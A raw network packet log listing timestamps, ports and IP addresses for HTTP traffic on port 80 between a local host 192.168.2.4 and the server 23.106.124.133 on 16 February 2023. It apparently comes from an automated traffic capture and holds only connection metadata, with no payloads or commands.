Feb 16, 2023 10:01:30.045002937 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045017958 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045046091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045056105 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045073986 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045100927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045114040 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045130014 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045159101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045167923 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045186043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045213938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045224905 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045242071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045269966 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045279980 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045298100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045325041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045336008 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045353889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045380116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045393944 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045407057 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045444012 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045450926 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045480013 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045505047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045517921 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045531034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045557022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045569897 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045583963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045610905 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045627117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045636892 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045663118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045675993 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.045690060 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.045731068 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.089720964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.089795113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.089822054 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.089844942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.089867115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.089890003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.089915037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.089939117 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.089961052 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.089967012 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.089989901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.090029955 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.090054989 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.220335960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220393896 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220423937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220443964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220470905 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220499039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220525980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220546007 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.220555067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220586061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220617056 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220627069 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.220649004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220679998 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220695019 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.220710993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220721960 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.220743895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220777988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220784903 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.220809937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220841885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220851898 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.220874071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220906973 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220920086 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.220940113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220973015 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.220987082 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.221004009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221035004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221045971 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.221066952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221098900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221107006 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.221129894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221163034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221172094 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.221199036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221229076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221240997 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.221262932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221293926 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221302032 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.221326113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221357107 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221366882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.221389055 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221420050 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221431971 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.221451998 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221483946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221493959 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.221514940 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221546888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221556902 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.221579075 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221611977 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221623898 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.221642971 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221674919 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221685886 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.221710920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.221755028 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.242501020 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.246603966 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.264666080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.264725924 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.264760017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.264785051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.264807940 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.264811993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.264839888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.264842033 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.264864922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.264884949 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.264892101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.264916897 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.264936924 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.264945030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.264983892 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.300440073 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.396598101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396646023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396677017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396688938 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.396706104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396734953 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396750927 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.396760941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396787882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396799088 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.396815062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396841049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396852970 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.396867990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396895885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396912098 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.396929026 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396955967 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.396972895 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.396982908 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397010088 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397023916 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397037983 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397064924 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397078037 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397090912 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397118092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397130013 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397145033 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397172928 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397186041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397203922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397229910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397243977 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397258043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397284985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397295952 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397327900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397357941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397371054 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397384882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397412062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397427082 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397439003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397465944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397479057 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397491932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397517920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397535086 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397543907 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397569895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397583961 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397597075 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397623062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397639036 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397650003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397675991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397689104 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397701979 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397728920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397741079 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397754908 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397775888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397794962 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.397829056 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.397885084 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.439549923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.439599037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.439621925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.439645052 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.439668894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.439692974 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.439694881 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.439719915 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.439742088 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.439749002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.439774990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.439800024 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.439802885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.439841986 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.572523117 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572570086 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572596073 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572623014 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572640896 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.572650909 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572680950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572706938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572715998 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.572735071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572750092 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.572766066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572783947 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.572793961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572820902 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572848082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572849989 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.572875977 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572901964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572910070 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.572927952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572954893 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572974920 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.572979927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.572999954 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573009014 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573035955 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573060989 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573062897 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573087931 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573106050 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573112965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573141098 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573156118 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573168039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573193073 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573211908 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573223114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573247910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573266983 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573275089 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573302984 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573317051 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573328972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573357105 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573370934 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573384047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573410034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573426008 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573436022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573462009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573479891 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573489904 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573515892 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573534966 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573542118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573569059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573584080 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573594093 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573621988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573635101 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573647976 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573674917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573690891 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.573703051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.573744059 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.614393950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.614428997 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.614454031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.614479065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.614504099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.614505053 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.614530087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.614557981 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.614561081 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.614583969 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.614588022 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.614612103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.614639044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.614640951 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.614727020 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748282909 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748322010 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748342991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748363972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748384953 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748409986 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748410940 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748431921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748454094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748476028 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748482943 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748500109 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748508930 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748523951 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748541117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748548031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748569965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748589993 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748594999 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748617887 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748632908 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748642921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748665094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748687983 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748687983 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748709917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748725891 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748750925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748771906 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748795986 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748800993 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748817921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748835087 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748842955 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748863935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748879910 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748888016 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748908997 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748925924 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748933077 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748953104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748970985 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.748977900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.748999119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.749016047 CET	49698	80	192.168.2.4	23.106.124.133
